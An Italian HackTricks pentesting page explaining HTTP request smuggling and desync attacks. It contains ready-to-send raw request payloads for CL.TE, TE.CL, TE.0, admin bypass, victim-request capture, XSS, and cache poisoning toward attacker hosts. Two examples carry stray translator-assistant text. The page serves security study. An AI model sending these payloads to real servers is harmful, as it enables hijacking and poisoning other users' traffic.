HTTP Request Smuggling / HTTP Desync Attack

Reading time: 32 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cos'è

Questa vulnerabilità si verifica quando una desincronizzazione tra i front-end proxies e il back-end server permette a un attaccante di inviare una richiesta HTTP che verrà interpretata come una singola request dai front-end proxies (load balancer/reverse-proxy) e come 2 request dal back-end server.
Questo permette a un utente di modificare la prossima request che arriva al back-end server dopo la sua.

Teoria

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

Realtà

Il Front-End (un load-balancer / Reverse Proxy) processa l'header Content-Length o l'header Transfer-Encoding e il Back-end server processa l'altro, provocando una desincronizzazione tra i 2 sistemi.
Questo può essere molto critico perché un attaccante potrà inviare una request al reverse proxy che sarà interpretata dal back-end server come 2 richieste differenti. Il pericolo di questa tecnica risiede nel fatto che il back-end server interpreta la 2ª request iniettata come se provenisse dal prossimo client e la vera request di quel client sarà parte della request iniettata.

Particolarità

Ricorda che in HTTP un carattere di nuova linea è composto da 2 byte:

  • Content-Length: Questo header usa un numero decimale per indicare il numero di byte del body della request. Ci si aspetta che il body termini nell'ultimo carattere, non è necessario un new line alla fine della request.
  • Transfer-Encoding: Questo header usa nel body un numero esadecimale per indicare il numero di byte del prossimo chunk. Il chunk deve terminare con una nuova linea ma questa nuova linea non è conteggiata dall'indicatore di lunghezza. Questo metodo di trasferimento deve terminare con un chunk di size 0 seguito da 2 new line: 0
  • Connection: Dalla mia esperienza è raccomandato usare Connection: keep-alive nella prima request dello request Smuggling.

Esempi di base

tip

When trying to exploit this with Burp Suite disable Update Content-Length and Normalize HTTP/1 line endings in the repeater because some gadgets abuse newlines, carriage returns and malformed content-lengths.

Gli attacchi di HTTP request smuggling sono costruiti inviando richieste ambigue che sfruttano discrepanze nel modo in cui front-end e back-end interpretano gli header Content-Length (CL) e Transfer-Encoding (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come CL.TE, TE.CL, e TE.TE. Ogni tipo rappresenta una combinazione diversa di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità nascono dal fatto che i server processano la stessa request in modi diversi, portando a risultati inaspettati e potenzialmente malevoli.

Esempi base di tipi di vulnerabilità

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

Alla tabella precedente dovresti aggiungere la tecnica TE.0, simile a CL.0 ma usando Transfer-Encoding.

CL.TE Vulnerability (Content-Length usato dal Front-End, Transfer-Encoding usato dal Back-End)

  • Front-End (CL): Processa la request basandosi sull'header Content-Length.

  • Back-End (TE): Processa la request basandosi sull'header Transfer-Encoding.

  • Scenario d'attacco:

  • L'attaccante invia una request dove il valore dell'header Content-Length non corrisponde alla lunghezza reale del contenuto.

  • Il front-end server inoltra l'intera request al back-end, basandosi sul valore di Content-Length.

  • Il back-end server processa la request come chunked a causa dell'header Transfer-Encoding: chunked, interpretando i dati rimanenti come una richiesta separata successiva.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding usato dal Front-End, Content-Length usato dal Back-End)

  • Front-End (TE): Processa la request basandosi sull'header Transfer-Encoding.

  • Back-End (CL): Processa la request basandosi sull'header Content-Length.

  • Scenario d'attacco:

  • L'attaccante invia una request chunked dove la dimensione del chunk (7b) e la lunghezza reale del contenuto (Content-Length: 4) non coincidono.

  • Il front-end server, rispettando Transfer-Encoding, inoltra l'intera request al back-end.

  • Il back-end server, rispettando Content-Length, processa solo la parte iniziale della request (7b bytes), lasciando il resto come parte di una richiesta successiva non intenzionale.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding usato da entrambi, con offuscamento)

  • Servers: Entrambi supportano Transfer-Encoding, ma uno può essere ingannato non riconoscendo l'offuscamento.

  • Scenario d'attacco:

  • L'attaccante invia una request con header Transfer-Encoding offuscati.

  • A seconda di quale server (front-end o back-end) non riconosce l'offuscamento, si può sfruttare una vulnerabilità CL.TE o TE.CL.

  • La parte non processata della request, come vista da uno dei server, diventa parte di una richiesta successiva, portando a smuggling.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length usato sia dal Front-End che dal Back-End)

  • Entrambi i server processano la request basandosi unicamente sull'header Content-Length.
  • Questo scenario tipicamente non porta a smuggling, dato che c'è allineamento nel modo in cui entrambi i server interpretano la lunghezza della request.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 Scenario

  • Si riferisce a scenari in cui l'header Content-Length è presente ed ha un valore diverso da zero, indicando che il body della request contiene dati. Il back-end ignora l'header Content-Length (che è trattato come 0), ma il front-end lo analizza.
  • È cruciale per comprendere e costruire attacchi di smuggling, poiché influenza come i server determinano la fine di una request.
  • Esempio:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 Scenario

  • Come il precedente ma usando TE
  • Technique reported here
  • Esempio:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

Rompere il web server

Questa tecnica è anche utile in scenari in cui è possibile break a web server while reading the initial HTTP data ma senza chiudere la connessione. In questo modo, il body della richiesta HTTP sarà considerato la next HTTP request.

Per esempio, come spiegato in this writeup, in Werkzeug era possibile inviare alcuni caratteri Unicode e questo avrebbe fatto break il server. Tuttavia, se la connessione HTTP era stata creata con l'header Connection: keep-alive, il body della richiesta non verrà letto e la connessione resterà aperta, quindi il body della richiesta sarà trattato come la next HTTP request.

Forzare via hop-by-hop headers

Abusando degli hop-by-hop headers potresti indicare al proxy di cancellare l'header Content-Length o Transfer-Encoding in modo da rendere possibile un HTTP request smuggling da sfruttare.

Connection: Content-Length

Per maggiori informazioni sugli hop-by-hop headers visita:

hop-by-hop headers

Individuazione di HTTP Request Smuggling

Identificare le vulnerabilità di HTTP request smuggling può spesso essere fatto usando tecniche di timing, che si basano sull'osservazione del tempo che il server impiega a rispondere a richieste manipolate. Queste tecniche sono particolarmente utili per rilevare vulnerabilità CL.TE e TE.CL. Oltre a questi metodi, esistono altre strategie e strumenti che possono essere usati per trovare tali vulnerabilità:

Individuare vulnerabilità CL.TE con tecniche di timing

  • Metodo:

  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Osservazione:

  • Il front-end elabora la richiesta basandosi su Content-Length e tronca il messaggio prematuramente.

  • Il back-end, aspettandosi un messaggio chunked, attende il prossimo chunk che non arriva mai, causando un ritardo.

  • Indicatori:

  • Timeout o lunghi ritardi nella risposta.

  • Ricezione di un errore 400 Bad Request dal back-end, talvolta con informazioni dettagliate sul server.

Individuare vulnerabilità TE.CL con tecniche di timing

  • Metodo:

  • Inviare una richiesta che, se l'applicazione è vulnerabile, farà sì che il server back-end attenda dati aggiuntivi.

  • Esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Osservazione:
  • Il front-end elabora la richiesta basandosi su Transfer-Encoding e inoltra l'intero messaggio.
  • Il back-end, aspettandosi un messaggio basato su Content-Length, attende dati aggiuntivi che non arrivano mai, causando un ritardo.

Altri metodi per individuare vulnerabilità

  • Analisi differenziale delle risposte:
  • Invia versioni leggermente diverse di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza nel parsing.
  • Uso di strumenti automatizzati:
  • Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte.
  • Test di varianza di Content-Length:
  • Invia richieste con valori Content-Length variabili che non corrispondono alla lunghezza reale del contenuto e osserva come il server gestisce tali discrepanze.
  • Test di varianza di Transfer-Encoding:
  • Invia richieste con header Transfer-Encoding offuscati o malformati e monitora come front-end e back-end rispondono differentemente a tali manipolazioni.

Test delle vulnerabilità di HTTP Request Smuggling

Dopo aver confermato l'efficacia delle tecniche di timing, è cruciale verificare se le richieste client possono essere manipolate. Un metodo semplice è tentare di avvelenare le tue richieste, per esempio facendo in modo che una richiesta a / produca una risposta 404. Gli esempi CL.TE e TE.CL discussi in Basic Examples mostrano come avvelenare la richiesta di un client per ottenere una 404, nonostante il client stia cercando di accedere a una risorsa diversa.

Considerazioni chiave

Quando testi per vulnerabilità di request smuggling interferendo con altre richieste, tieni presente:

  • Connessioni di rete distinte: Le richieste "attack" e "normal" dovrebbero essere inviate su connessioni di rete separate. Utilizzare la stessa connessione per entrambe non valida la presenza della vulnerabilità.
  • URL e parametri coerenti: Cerca di usare URL e nomi di parametri identici per entrambe le richieste. Le applicazioni moderne spesso instradano le richieste a specifici back-end in base a URL e parametri. Farle corrispondere aumenta la probabilità che entrambe siano processate dallo stesso server, condizione necessaria per un attacco riuscito.
  • Tempi e condizioni di race: La richiesta "normal", pensata per rilevare l'interferenza dalla richiesta "attack", compete con altre richieste concorrenti dell'applicazione. Pertanto invia la richiesta "normal" immediatamente dopo quella "attack". Applicazioni molto trafficate potrebbero richiedere più tentativi per una conferma conclusiva della vulnerabilità.
  • Sfide del load balancing: I front-end che agiscono come load balancer possono distribuire le richieste su diversi sistemi back-end. Se le richieste "attack" e "normal" finiscono su sistemi diversi, l'attacco non avrà successo. Questo aspetto del bilanciamento del carico può richiedere diversi tentativi per confermare una vulnerabilità.
  • Impatto involontario sugli utenti: Se il tuo attacco influisce involontariamente sulla richiesta di un altro utente (non sulla richiesta "normal" che hai inviato per il rilevamento), ciò indica che il tuo attacco ha influenzato un altro utente dell'applicazione. Test continui potrebbero perturbare altri utenti, richiedendo un approccio cauto.

Distinguere artefatti di pipelining HTTP/1.1 da genuine request smuggling

Il riuso della connessione (keep-alive) e il pipelining possono facilmente produrre illusioni di "smuggling" negli strumenti di testing che inviano più richieste sullo stesso socket. Impara a separare artefatti innocui lato client da una reale desincronizzazione lato server.

Perché il pipelining crea falsi positivi classici

HTTP/1.1 riutilizza una singola connessione TCP/TLS e concatena richieste e risposte sullo stesso stream. Nel pipelining il client invia più richieste una dopo l'altra e si affida a risposte in ordine. Un falso positivo comune è reinviare un payload malformato in stile CL.0 due volte sulla stessa connessione:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Non hai fornito il contenuto del file src/pentesting-web/http-request-smuggling/README.md. Per favore incolla qui il testo che vuoi tradurre in italiano (manterrò intatta la sintassi markdown/html, i tag e i link).

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

Se il server ha ignorato il Content_Length malformato, non c'è FE↔BE desync. Con reuse, il tuo client ha effettivamente inviato questo byte-stream, che il server ha interpretato come due richieste indipendenti:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

tip

Moduli di Burp che dipendono da reuse/pipelining: Turbo Intruder con requestsPerConnection>1, Intruder con "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, disattiva HTTP/1 reuse ed evita "Send group in sequence".
  • In Turbo Intruder, imposta requestsPerConnection=1 e pipeline=False.
  • Se il comportamento scompare, era probabilmente pipelining lato client, a meno che non ti trovi di fronte a target connection-locked/stateful o a desync lato client.
  1. HTTP/2 nested-response check
  • Invia una request HTTP/2. Se il body della response contiene una completa nested HTTP/1 response, hai dimostrato un bug di parsing/desync lato backend invece di un puro artefatto client.
  1. Partial-requests probe for connection-locked front-ends
  • Alcuni FE riutilizzano la connessione upstream al BE solo se il client ha riutilizzato la sua. Usa partial-requests per rilevare un comportamento del FE che rispecchia il reuse del client.
  • Vedi PortSwigger "Browser‑Powered Desync Attacks" per la tecnica connection-locked.
  1. State probes
  • Cerca differenze tra prima e richieste successive sulla stessa connessione TCP (routing/validazione della first-request).
  • Burp "HTTP Request Smuggler" include una connection‑state probe che automatizza questo controllo.
  1. Visualize the wire
  • Usa l'estensione Burp "HTTP Hacker" per ispezionare concatenazione e framing dei messaggi direttamente mentre sperimenti con reuse e partial requests.

Connection‑locked request smuggling (reuse-required)

Alcuni front-end riutilizzano la connessione upstream solo quando il client riutilizza la sua. Lo smuggling reale esiste ma è condizionato dal reuse lato client. Per distinguere e dimostrare l'impatto:

  • Dimostra il bug lato server
  • Usa il controllo HTTP/2 nested-response, oppure
  • Usa partial-requests per mostrare che il FE riutilizza upstream solo quando lo fa il client.
  • Mostra un impatto reale anche se l'abuso diretto di socket cross-user è bloccato:
  • Cache poisoning: avvelena cache condivise tramite il desync in modo che le risposte influenzino altri utenti.
  • Internal header disclosure: rifletti header iniettati dal FE (es. auth/trust headers) e pivot verso auth bypass.
  • Bypass FE controls: smuggle percorsi/metodi restritti oltre il front-end.
  • Host-header abuse: combina con quirks di host routing per pivotare verso vhost interni.
  • Operator workflow
  • Riproduci con reuse controllato (Turbo Intruder requestsPerConnection=2, o Burp Repeater tab group → "Send group in sequence (single connection)").
  • Poi effettua la catena verso primitive di cache/header-leak/control-bypass e dimostra impatto cross-user o di autorizzazione.

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

Se punti a browser-powered/client-side desync, la request maligna deve poter essere inviata da un browser cross-origin. I trucchi di header obfuscation non funzioneranno. Concentrati su primitive raggiungibili tramite navigation/fetch, e poi pivot verso cache poisoning, header disclosure, o front-end control bypass dove componenti downstream riflettono o cachano le risposte.

Per background e workflow end-to-end:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): espone comportamento HTTP a basso livello e concatenazione di socket.
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: controllo preciso sul connection reuse tramite requestsPerConnection.
  • Burp HTTP Request Smuggler: include una connection‑state probe per identificare routing/validazione della first‑request.

note

Considera gli effetti legati solo al reuse come non-issue a meno che tu non possa provare un desync lato server e collegare un impatto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ecc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

A volte i proxy front-end applicano misure di sicurezza, esaminando le richieste in ingresso. Tuttavia, queste misure possono essere aggirate sfruttando HTTP Request Smuggling, consentendo accesso non autorizzato a endpoint riservati. Per esempio, l'accesso a /admin potrebbe essere proibito dall'esterno, con il proxy front-end che blocca attivamente tali tentativi. Tuttavia, questo proxy può disattendere l'ispezione delle richieste incorporate all'interno di una HTTP Request Smuggling, lasciando una falla per aggirare tali restrizioni.

Considera i seguenti esempi che illustrano come HTTP Request Smuggling può essere usato per bypassare i controlli di sicurezza del front-end, prendendo di mira specificamente il percorso /admin che è tipicamente protetto dal proxy front-end:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Nell'attacco CL.TE, l'intestazione Content-Length viene sfruttata per la richiesta iniziale, mentre la richiesta incorporata successiva utilizza l'intestazione Transfer-Encoding: chunked. Il proxy front-end elabora la richiesta POST iniziale ma non riesce a ispezionare la richiesta incorporata GET /admin, consentendo l'accesso non autorizzato al percorso /admin.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Al contrario, nell'attacco TE.CL, la richiesta iniziale POST utilizza Transfer-Encoding: chunked, e la successiva richiesta incorporata viene processata in base all'intestazione Content-Length. Analogamente all'attacco CL.TE, il front-end proxy ignora la smuggled GET /admin request, concedendo involontariamente l'accesso al percorso riservato /admin.

Rivelare la riscrittura delle richieste sul front-end

Le applicazioni spesso impiegano un front-end server per modificare le richieste in ingresso prima di inoltrarle al back-end server. Una modifica tipica consiste nell'aggiungere header, ad esempio X-Forwarded-For: <IP of the client>, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per bypass protections o uncover concealed information or endpoints.

Per indagare come un proxy altera una richiesta, individua un parametro POST che il back-end riflette nella risposta. Poi costruisci una richiesta, usando questo parametro per ultimo, simile alla seguente:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In questa struttura, i componenti delle request successive vengono aggiunti dopo search=, che è il parameter riflesso nella response. Questa reflection esporrà gli headers della request successiva.

È importante allineare l'header Content-Length della request annidata con la lunghezza effettiva del contenuto. È consigliabile partire da un valore piccolo e incrementarlo gradualmente, perché un valore troppo basso troncherà i dati riflessi, mentre uno troppo alto può far fallire la request.

Questa tecnica è applicabile anche nel contesto di una vulnerabilità TE.CL, ma la request dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parameter search.

Questo metodo serve principalmente a capire le modifiche alle request effettuate dal front-end proxy, svolgendo essenzialmente un'indagine autonoma.

Capturing other users' requests

È possibile catturare le request dell'utente successivo apponendo una request specifica come valore di un parameter durante un'operazione POST. Ecco come può essere realizzato:

Appendendo la seguente request come valore di un parameter, puoi memorizzare la request del client successivo:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In questo scenario, il comment parameter è pensato per memorizzare i contenuti della sezione commenti di un post su una pagina pubblica. Di conseguenza, i contenuti della richiesta successiva appariranno come un commento.

Tuttavia, questa tecnica ha delle limitazioni. Generalmente cattura i dati solo fino al delimitatore del parametro usato nella smuggled request. Per le sottomissioni di form codificate in URL, questo delimitatore è il carattere &. Questo significa che il contenuto catturato dalla richiesta dell'utente vittima si fermerà al primo &, che potrebbe anche far parte della query string.

Inoltre, vale la pena notare che questo approccio funziona anche in presenza di una vulnerabilità TE.CL. In tali casi, la richiesta dovrebbe terminare con search=\r\n0. Indipendentemente dai caratteri di newline, i valori verranno aggiunti al parametro search.

Using HTTP request smuggling to exploit reflected XSS

HTTP Request Smuggling può essere sfruttato per attaccare pagine web vulnerabili a Reflected XSS, offrendo vantaggi significativi:

  • L'interazione con gli utenti target non è richiesta.
  • Consente lo sfruttamento di XSS in parti della richiesta che sono normalmente irraggiungibili, come HTTP request headers.

In scenari in cui un sito web è suscettibile a Reflected XSS tramite il User-Agent header, il seguente payload dimostra come sfruttare questa vulnerabilità:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Questo payload è strutturato per sfruttare la vulnerabilità attraverso:

  1. Iniziare una richiesta POST, apparentemente tipica, con un header Transfer-Encoding: chunked per indicare l'inizio dello smuggling.
  2. Seguire con un 0, marcando la fine del body chunked.
  3. Poi viene introdotta una richiesta smuggled GET, dove l'header User-Agent viene iniettato con uno script, <script>alert(1)</script>, che attiva l'XSS quando il server elabora questa richiesta successiva.

Manipolando il User-Agent tramite smuggling, il payload bypassa i normali vincoli delle richieste, sfruttando così la vulnerabilità di Reflected XSS in modo non standard ma efficace.

HTTP/0.9

caution

Nel caso il contenuto utente venga riflesso in una risposta con un Content-type come text/plain, impedendo l'esecuzione dell'XSS. Se il server supporta HTTP/0.9 potrebbe essere possibile aggirare questo!

La versione HTTP/0.9 precedeva la 1.0 e usa solo i verbi GET e non risponde con headers, solo il body.

In this writeup, questo è stato abusato con un request smuggling e un endpoint vulnerable endpoint that will reply with the input of the user per smuggleare una richiesta con HTTP/0.9. Il parametro che viene riflesso nella risposta conteneva una fake HTTP/1.1 response (with headers and body) quindi la risposta conterrà codice JS eseguibile valido con un Content-Type di text/html.

Sfruttare i redirect on-site con HTTP Request Smuggling

Le applicazioni spesso reindirizzano da un URL a un altro usando il nome host dall'header Host nell'URL di redirect. Questo è comune con web server come Apache e IIS. Per esempio, richiedere una cartella senza la slash finale provoca un redirect per includere la slash:

GET /home HTTP/1.1
Host: normal-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Sebbene apparentemente innocuo, questo comportamento può essere manipolato usando HTTP request smuggling per reindirizzare gli utenti a un sito esterno. Per esempio:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Questa smuggled request potrebbe far sì che la prossima user request elaborata venga reindirizzata a un attacker-controlled website:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Risultati in:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In questo scenario, la richiesta di un utente per un file JavaScript viene dirottata. L'attaccante può potenzialmente compromettere l'utente servendo JavaScript malevolo in risposta.

Sfruttare Web Cache Poisoning tramite HTTP Request Smuggling

Il Web cache poisoning può essere eseguito se qualsiasi componente della infrastruttura front-end memorizza nella cache il contenuto, tipicamente per migliorare le prestazioni. Manipolando la risposta del server, è possibile poison the cache.

In precedenza, abbiamo osservato come le risposte del server possano essere modificate per restituire un errore 404 (vedi Basic Examples). Analogamente, è possibile ingannare il server per far sì che fornisca il contenuto di /index.html in risposta a una richiesta per /static/include.js. Di conseguenza, il contenuto di /static/include.js viene sostituito nella cache con quello di /index.html, rendendo /static/include.js inaccessibile agli utenti e potenzialmente causando un Denial of Service (DoS).

Questa tecnica diventa particolarmente potente se viene scoperta una Open Redirect vulnerability o se esiste un on-site redirect to an open redirect. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di /static/include.js con uno script controllato dall'attaccante, consentendo di fatto un ampio attacco Cross-Site Scripting (XSS) contro tutti i client che richiedono il /static/include.js aggiornato.

Di seguito un'illustrazione dello sfruttamento di cache poisoning combined with an on-site redirect to open redirect. L'obiettivo è alterare il contenuto della cache di /static/include.js per servire codice JavaScript controllato dall'attaccante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Nota la richiesta incorporata che mira a /post/next?postId=3. Questa richiesta verrà reindirizzata a /post?postId=4, utilizzando il Host header value per determinare il dominio. Alterando il Host header, l'attaccante può reindirizzare la richiesta al proprio dominio (on-site redirect to open redirect).

Dopo un socket poisoning riuscito, dovrebbe essere avviata una GET request per /static/include.js. Questa richiesta sarà contaminata dalla precedente richiesta di on-site redirect to open redirect e recupererà il contenuto dello script controllato dall'attaccante.

In seguito, qualsiasi richiesta per /static/include.js servirà il contenuto memorizzato nella cache dello script dell'attaccante, lanciando efficacemente un ampio attacco XSS.

Using HTTP request smuggling to perform web cache deception

Qual è la differenza tra web cache poisoning e web cache deception?

  • In web cache poisoning, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto malevolo, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione.
  • In web cache deception, l'attaccante fa sì che l'applicazione memorizzi nella cache del contenuto sensibile appartenente a un altro utente, e poi l'attaccante recupera questo contenuto dalla cache.

L'attaccante crea una smuggled request che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Se questa smuggled request avvelena un'entrata della cache destinata a contenuti statici (ad es., /someimage.png), i dati sensibili della vittima da /private/messages potrebbero essere memorizzati nella cache sotto l'entrata del contenuto statico. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache.

Abusare di TRACE tramite HTTP Request Smuggling

In this post si suggerisce che, se il server ha il metodo TRACE abilitato, potrebbe essere possibile abusarne tramite HTTP Request Smuggling. Questo perché questo metodo riflette qualsiasi header inviato al server come parte del corpo della risposta. Per esempio:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Non hai fornito il contenuto da tradurre. Per favore incolla qui il testo del file src/pentesting-web/http-request-smuggling/README.md che vuoi tradurre.

Nota: seguirò le regole indicate (non tradurre codice, nomi di tecniche, link, percorsi, tag o markup).

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un esempio di come abusare di questo comportamento sarebbe smuggle prima una HEAD request. A questa request verrà risposto solo con le headers di una GET request (Content-Type tra queste). E fare smuggle immediatamente dopo la HEAD una TRACE request, che rifletterà i dati inviati.
Poiché la HEAD response conterrà un header Content-Length, la response della TRACE request sarà trattata come il body della HEAD response, riflettendo quindi dati arbitrari nella risposta.
Questa risposta sarà inviata alla request successiva sulla connessione, quindi questo potrebbe essere usato in un file JS cached per esempio per iniettare codice JS arbitrario.

Abusing TRACE via HTTP Response Splitting

Si suggerisce di seguire this post per un altro modo di abusare del metodo TRACE. Come osservato, effettuando lo smuggle di una HEAD request e di una TRACE request è possibile controllare alcuni dati riflessi nella risposta alla HEAD request. La lunghezza del body della HEAD request è indicata dall'header Content-Length ed è costituita dalla response alla TRACE request.

Quindi, l'idea è che, conoscendo questo Content-Length e i dati forniti nella TRACE response, è possibile far sì che la TRACE response contenga una HTTP response valida dopo l'ultimo byte indicato dal Content-Length, permettendo a un attacker di controllare completamente la request verso la response successiva (che potrebbe essere usata per effettuare un cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Genererà queste risposte (nota come la risposta HEAD ha un Content-Length che rende la risposta TRACE parte del body della HEAD e una volta che il Content-Length della HEAD termina viene smuggled una HTTP response valida):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
